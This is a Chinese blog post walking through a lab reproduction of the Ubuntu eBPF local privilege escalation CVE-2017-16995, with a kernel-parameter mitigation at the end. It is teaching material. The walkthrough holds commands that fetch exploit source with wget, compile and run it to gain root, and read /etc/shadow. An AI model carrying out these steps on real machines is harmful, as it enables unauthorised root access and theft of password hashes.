zoukankan      html  css  js  c++  java
  • CVE-2017-16995 漏洞利用

    Ubuntu本地提权(CVE-2017-16995)漏洞复现

    在 ichunqiu 看到的环境(https://www.ichunqiu.com/course/61487),觉得有意思就记录一下。

    实验环境

    • 操作机:Kali Linux

    • IP:172.16.11.2

    • 目标IP:172.16.12.2

    • 目标账号密码:ichunqiu

    • 工具下载地址:http://file.ichunqiu.com/r36f8pnp/

    实验目的

    • 了解Ubuntu本地提权漏洞的危害

    • 验证本地提权漏洞

    • 知晓Ubuntu本地提权漏洞的缓解修复

    实验工具

    • upstream44.c: 实验中本地提权EXP的源文件,需编译后执行

    实验内容

    漏洞概述

    近日,有网友发布消息:ubuntu 最新版本(Ubuntu 16.04)存在高危的本地提权漏洞,漏洞编号为CVE-2017-16995。该漏洞存在于调用eBPF bpf(2)的Linux内核系统中,当用户提供恶意BPF程序使eBPF验证器模块产生计算错误,导致任意内存读写问题, 低权限用户可使用此漏洞获得管理权限。

    该漏洞在老版本中已经得到修复,然而最新版本中任可被利用,官方暂未发布相关补丁,漏洞处于0day状态。

    影响范围

    经i春秋安全研究员测试 Ubuntu 16.04.1~16.04.4 均存在此漏洞

    实验步骤

    第1步 漏洞验证

    打开Kali终端,输入wget http://file.ichunqiu.com/r36f8pnp/upstream44.c下载实验文件到当前目录

    使用sftp,将实验文件上传到目标机上(一般情况下提权文件由shell上传,此次不做为重点介绍)

    命令为 sftp ichunqiu@172.16.12.2,密码:ichunqiu,上传命令:put upstream44.c

     

    ichunqiu是一个测试的普通权限用户

    接着,我们使用ssh登录目标机器的ichunqiu用户

     

    接下来开始编译该文件,编译命令:gcc -o upstream44 upstream44.c

    得到可执行文件upstream44

    最后,执行刚刚编译后的文件,成功提升至root权限

    我们再来 cat /etc/shadow一下,现在可以看见内容了

     

    第2步 漏洞缓解

    虽然官网暂时未发布补丁升级方案,但是可以通过修改内核参数来限制普通用户使用bpf(2)系统调用的方式以规避风险。

    修改命令如下

    echo 1 > /proc/sys/kernel/unprivileged_bpf_disabled

    我们运行该命令后,再切换至普通用户执行EXP查看效果

    可以看见报错:error: Operation not permitted,操作不被允许

     

     EXP: http://cyseclabs.com/exploits/upstream44.c

    实验结果分析与总结

    通过本次实验,我们复现了此漏洞的场景,并给出了缓解漏洞影响的方法,希望同学们能够了解漏洞,更要知道如何缓解漏洞,及时做好安全修复的准备!

    任重而道远!

  • 相关阅读:
    [转] Linux下crontab命令的用法
    [转] Try to use one var statement per scope in JavaScript
    [转] 主流JS框架中DOMReady事件的实现
    MySQL 表复制语句
    [转] MySQL中的运算符展示
    [转] mysql分组取每组前几条记录(排名)
    MySQL 连接结果集
    [转] mysql show processlist命令 详解
    [转] mysql 5.0存储过程学习总结
    jquery中使用event.target的几点
  • 原文地址:https://www.cnblogs.com/Oran9e/p/8647860.html
Copyright © 2011-2022 走看看